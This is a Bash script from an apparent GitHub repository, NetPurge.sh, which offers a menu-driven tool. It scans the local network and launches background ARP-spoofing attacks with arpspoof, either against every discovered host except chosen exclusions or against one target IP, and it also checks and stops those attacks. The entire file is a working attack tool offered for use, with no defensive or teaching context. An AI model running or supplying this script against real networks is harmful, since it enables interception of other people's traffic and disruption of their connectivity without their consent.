-
Notifications
You must be signed in to change notification settings - Fork 1
/
NetPurge.sh
156 lines (134 loc) · 5.39 KB
/
NetPurge.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
#!/bin/bash
# Lista de IPs excluidas
excluded_ips=()
# Check if the required tools are available
check_tools() {
if ! [ -x "$(command -v $1)" ]; then
echo -e "\033[1;31mError: $1 is not installed. Please install $1 and try again.\033[0m" >&2
exit 1
fi
}
check_tools "dsniff"
check_tools "arp-scan"
check_tools "arpspoof"
# Function to display the banner
show_banner() {
clear
echo -e "\033[1;31m ______ __ _______ "
echo " | _ \.-----| |_| _ .--.--.----.-----.-----."
echo " |. | | -__| _|. 1 | | | _| _ | -__|"
echo " |. | |_____|____|. ____|_____|__| |___ |_____|"
echo " |: | | |: | |_____|"
echo " |::.| | |::.|"
echo " '--- ---' '---' v1.2 "
echo -e "\033[1;95m -by Arbolencio"
echo -e "\033[1;32m "
echo -e "\033[1;32m "
cat dibujo.txt
echo -e " \033[0m"
}
# Function to display the menu
show_menu() {
echo -e "\n\033[1;33mMenu:\033[0m"
echo -e "\033[1;32m 1. Scan network and perform ARP attack on all devices\033[0m"
echo -e "\033[1;32m 2. Perform ARP attack on a specific IP\033[0m"
echo -e "\033[1;32m 3. ARP attack status\033[0m"
echo -e "\033[1;32m 4. Stop ARP attack\033[0m"
echo -e "\033[1;32m 5. Exclude specific IPs from attack\033[0m"
echo -e "\033[1;32m 6. Exit\033[0m"
}
# Function to scan the network and perform ARP attack on all devices except excluded IPs
scan_and_attack() {
echo -e "\033[0;33m"
read -p "Enter interface name (e.g., eth0, wlan0): " interface
echo -e "\033[1;31mScanning network for active hosts...\033[0m"
ips=$(arp-scan -I "$interface" --localnet | grep -Eo '([0-9]{1,3}\.){3}[0-9]{1,3}' | grep -v "$(hostname -I)")
# Display the found IP addresses
echo -e "\033[1;33mActive hosts on the network:\033[0m"
echo -e "\033[1;37m$ips"
# Calculate the gateway address
gateway=$(ip route | grep default | awk '{print $3}')
# ARP attack on all discovered IPs except excluded ones
echo "Performing ARP spoofing attack against all discovered hosts in background..."
for ip in $ips; do
if [[ " ${excluded_ips[@]} " =~ " ${ip} " ]]; then
echo -e "\033[1;34mSkipping IP $ip (excluded)\033[0m"
else
arpspoof -i "$interface" -t "$ip" "$gateway" > /dev/null 2>&1 &
arpspoof -i "$interface" -t "$gateway" "$ip" > /dev/null 2>&1 &
fi
done
echo -e "\033[1;32mARP spoofing attack launched against all discovered hosts (except excluded ones).\033[0m"
echo -e "\033[0m"
}
# Function to perform ARP attack on a specific IP
attack_specific_ip() {
echo -e "\033[0;33m"
read -p "Enter interface name (e.g., eth0, wlan0): " interface
read -p "Enter the target's IP: " target_ip
# Calculate the gateway address
gateway=$(ip route | grep default | awk '{print $3}')
# ARP attack on the specific IP
echo "Performing ARP spoofing attack against $target_ip in background..."
arpspoof -i "$interface" -t "$target_ip" "$gateway" > /dev/null 2>&1 &
arpspoof -i "$interface" -t "$gateway" "$target_ip" > /dev/null 2>&1 &
echo -e "\033[1;32mARP spoofing attack launched against $target_ip.\033[0m"
echo -e "\033[0m"
}
# Function to check ARP attack status
check_attack_status() {
if pgrep -f "arpspoof" > /dev/null; then
echo -e "\033[1;32mARP attack is running.\033[0m"
else
echo -e "\033[1;31mARP attack is not running.\033[0m"
fi
}
# Function to stop ARP attack
stop_attack() {
pkill arpspoof
echo -e "\033[1;31mARP attack stopped successfully.\033[0m"
}
# Function to exclude specific IPs from attack
exclude_ips() {
echo -e "\033[0;33m"
read -p "Enter interface name (e.g., eth0, wlan0): " interface
echo -e "\033[1;31mScanning network for active hosts...\033[0m"
ips=$(arp-scan -I "$interface" --localnet | grep -Eo '([0-9]{1,3}\.){3}[0-9]{1,3}' | grep -v "$(hostname -I)")
# Display the found IP addresses with index numbers
echo -e "\033[1;33mActive hosts on the network:\033[0m"
index=1
for ip in $ips; do
echo -e "\033[1;32m$index. $ip\033[0m"
((index++))
done
# Ask the user which IPs to exclude by index
echo -e "\033[0;33m"
read -p "Enter the numbers of IPs to exclude (separated by space): " -a exclusion_indexes
# Exclude the selected IPs
index=1
for ip in $ips; do
if [[ " ${exclusion_indexes[@]} " =~ " $index " ]]; then
excluded_ips+=("$ip")
echo -e "\033[1;34mExcluding IP $ip\033[0m"
fi
((index++))
done
echo -e "\033[1;32mThe following IP(s) have been excluded from the attack: ${excluded_ips[*]}\033[0m"
}
# Main program
while true; do
show_banner
show_menu
echo -e "\033[35m"
read -p "Enter your choice: " option
case $option in
1) scan_and_attack ;;
2) attack_specific_ip ;;
3) check_attack_status ;;
4) stop_attack ;;
5) exclude_ips ;;
6) echo -e "\033[36mGoodbye!\033[0m"; exit ;;
*) echo -e "\033[1;31mInvalid option. Please try again.\033[0m" ;;
esac
read -p "Press Enter to continue..." # Pause until user presses Enter
done